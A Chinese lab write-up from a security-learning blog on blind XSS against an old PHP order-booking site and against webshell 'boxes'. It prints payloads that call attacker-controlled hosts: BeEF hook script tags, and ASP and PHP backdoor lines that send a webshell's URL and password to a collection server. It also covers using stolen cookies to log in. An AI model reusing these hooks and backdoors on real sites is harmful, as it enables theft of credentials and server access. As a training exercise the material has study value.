XSS跨站之订单及shell箱子反杀记

1.靶场网站军锋真人CS野战在线预订系统 v2.0:

https://down.chinaz.com/soft/30902.htmhttps://down.chinaz.com/soft/30902.htm

这是一个比较旧的PHP系统,需要修复几个兼容性问题,可以直接扔给ai让他给你方案

2.webshell箱子:

|-------------------|-------|------------------------------------|-----------------------------------------|
| 小旋风ASPWEB 2005增强版 | 2005年 | 支持VBScript/JScript双引擎,内置简单MIME类型映射 | Windows XP ~ Windows 7 完美运行;Win10需兼容模式 |

其他博主的:

https://pan.baidu.com/s/13H4N1VTBVwd3t8YWpECBFw密码:xiao

配置的话可以查看别人是如何弄得:

https://blog.csdn.net/qq_53079406/article/details/123879784?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522f6cfd660ee7eec14a7d65e8a028593b0%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=f6cfd660ee7eec14a7d65e8a028593b0&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-2-123879784-null-null.142^v102^pc_search_result_base2&utm_term=webshell%E7%AE%B1%E5%AD%90%E7%B3%BB%E7%BB%9F&spm=1018.2226.3001.4187

由于实在是过于古早的版本了这里就可以去看其他博主的文章

3.postman:

https://www.postman.com/downloads/https://www.postman.com/downloads/配置的话可以查看别人是如何弄得:
https://blog.csdn.net/2302_77758423/article/details/140495062?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522fd87ea8df05378ddc28900ae83499f94%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=fd87ea8df05378ddc28900ae83499f94&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~top_positive~default-2-140495062-null-null.142^v102^pc_search_result_base2&utm_term=postman&spm=1018.2226.3001.4187

暂时创建一个叫做text-one的文件

4.beef工具:

配置的话可以查看别人是如何弄得:

https://blog.csdn.net/wangyuxiang946/article/details/128593921?ops_request_misc=%257B%2522request%255Fid%2522%253A%252223826d811019b0c87acc4fd692bcdb39%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=23826d811019b0c87acc4fd692bcdb39&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-2-128593921-null-null.142^v102^pc_search_result_base2&utm_term=beef-xss%E8%AF%A6%E7%BB%86%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B&spm=1018.2226.3001.4187

sudo apt install beef-xss --fix-missing

在使用的是时候可以考虑他的这一关可以明白有啥用

Beef-xss自带两个「练习页面」:

  1. http://127.0.0.1:3000/demos/basic.html
  2. http://127.0.0.1:3000/demos/butcher/index.html

Web UI: http://127.0.0.1:3000/ui/panel

Beef-xss的打开界面中,给我们提供了一个范例,我们在目标网页「提交」这行JS代码,就可以使用工具了。

\* Hook: <script src="http://<IP>:3000/hook.js">

5.xss在线平台

https://xssaq.com/

上一章写道:

xss漏洞存在的地方

留言板 评论区 订单系统 意见反馈等

#cookie session

用户凭据:通过凭据可以判断对方身份信息

cookie 存储本地 存活时间较长 小中型

session 会话 存储服务器 存活时间较短 大型

开始实验:

1.某营销订单系统 XSS 盲打_平台结合xss在线平台使用:

打开

然后在平台上面设置订单

在反馈的地方上添加xss代码:<script>alert('XSS')</script>\

提交成功后然后访问后台就会弹窗:

也可以直接利用pikachu前面的盲注然后登录用户后台,再利用xss在线平台,上章的题目就是结合了pikachu的盲注和xss在线平台(可以解决这个靶场过于古早):

结果如图所示:

2.某 Shell 箱子系统 XSS 盲打_工具
跨站漏洞可以应用在很多方面

收信接口:

ASP

http://asp-muma.com/api.asp?url=http://127.0.0.1/1.asp\&pass=admin

php

http://asp-muma.com/api.asp?url=http://127.0.0.1/1.asp\&pass=admin\&id=1

后门代码

<script src=""http://asp-muma.com/api.asp?url="\&server.URLEncode("""http://"&request.ServerVariables("HTTP_HOST")&request.ServerVariables("url"))&"&p="&存储密码的变量&"""></script>

这个直接可以构造payload然后当你访问这个webshell(此时我们就使用一个webshell,并且在其中写入一些后门语句,从而形成后门中的后门:)吃别人的西瓜:

url=_SERVER'HTTP_HOST'.$_SERVER'PHP_SELF';(SERVER函数的利用)

echo "<script src='http://192.168.10.129:8081/api.asp?url=$url\&pass=$password\&id=1'></script>";

收信接口工作原理

ASP接口结构

复制代码
http://asp-muma.com/api.asp?url=http://127.0.0.1/1.asp&pass=admin
  • api.asp: 攻击者的收信服务器脚本

  • url参数: 被入侵服务器的Webshell地址

  • pass参数: Webshell的登录密码

PHP接口结构

复制代码
http://asp-muma.com/api.asp?url=http://127.0.0.1/1.asp&pass=admin&id=1
  • 增加了id参数: 用于区分不同的受害服务器

后门代码解析

ASP后门

复制代码
<script src="http://asp-muma.com/api.asp?url="&server.URLEncode("http://"&request.ServerVariables("HTTP_HOST")&request.ServerVariables("url"))&"&p="&存储密码的变量&""></script>
  • 动态构造当前服务器的完整URL

  • 自动传递密码到攻击者服务器

PHP后门

复制代码
$url=$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
echo "<script src='http://192.168.10.129:8081/api.asp?url=$url&pass=$password&id=1'></script>";
  • $_SERVER['HTTP_HOST']: 获取域名

  • $_SERVER['PHP_SELF']: 获取当前脚本路径

其实简单来说就是这个webshell是别人可以进入这个网站可以得到相应的西瓜,然后我们可以去吃别人的西瓜,吃别人的西瓜也很简单,当别人看到自己的西瓜到账了,一点击这个页面的数据,我们就可以去吃他的西瓜了(通过自己构造的payload它可以返回到我们这里的数据)

其实可以去网上查看一些'秒杀一切'啥字眼的木马啥的这些网站当我们发送数据包的时候就可以去观察他是否返回到了另外一个url中,那么这就是很危险的行为了

**3.**工具 Http/s 数据包提交 Postman 使用

4.使用xss工具(Beef

beef的使用就是直接使用beef提供的脚本语句,然后比如我去那个游客的cs页面上传相应的Hook: <script src="http://<IP>:3000/hook.js">脚本那么就会传到这个beef上面,也可以直接去做他的例题也能理解这个平台的厉害之处;

例题的第二题就是:

  1. http://127.0.0.1:3000/demos/basic.html
  2. http://127.0.0.1:3000/demos/butcher/index.html

提交:<script src="http://192.168.31.101:3000/hook.js"></script>

然后再去查看都有了:

点击去看看有什么西瓜:

然后里面的工具也是非常逆天的:

然后尝试用postman也来吃一下西瓜:

尝试用postman来访问一下这个beef来玩玩:

但是使用这个postman的时候:

  • 需要用户名和密码才能访问控制面板

然后在这里再重复一次session和cookie的区别

特性 Cookie Session
存储位置 客户端浏览器 服务器端
安全性 较低(可被窃取) 较高(服务器控制)
数据量 较小(4KB左右) 较大(服务器限制)
生命周期 可设置过期时间 通常会话结束或超时
访问方式 客户端JavaScript可访问 仅服务器端可访问
网络传输 每次请求都发送 只发送Session ID

postman来访问一下这个我的在线平台来玩玩:

这个xss里面我是有pikachu的数据的,那么我进去是不是能够得到pikachu的东西

同理那么我用这个xss在线平台得到的cooike或者其他数据我是不是也能登

同理对于一些靶场我得到了相关的数据那么就可以得到更多有用的数据了

相关推荐
程序员mine几秒前
Web服务密码存储安全详解:从哈希到密钥派生的演进
前端·后端
如果超人不会飞1 分钟前
TinyRobot Sender打造强大的AI聊天输入体验
前端·vue.js
爱吃生蚝的于勒6 分钟前
QT开发第三章——常用控件
linux·服务器·开发语言·前端·javascript·c++·qt
xuankuxiaoyao19 分钟前
Axios-图书列表案例
开发语言·前端·javascript
影寂ldy22 分钟前
C# 多播委托
前端·javascript·c#
dy171723 分钟前
Vue3 多文件上传
前端·javascript·vue.js
文阿花32 分钟前
Echarts实现3D饼状图
前端·javascript·echarts·饼状图
智码看视界39 分钟前
老梁聊全栈系列:Vue2与Vue3核心区别及学习路线指南
前端·vue.js·学习
qq_3630669340 分钟前
react 使用web component导出静态html报告
前端·react.js·html·页面导出
weixin_4577630843 分钟前
展示youtube的视频
前端·javascript·html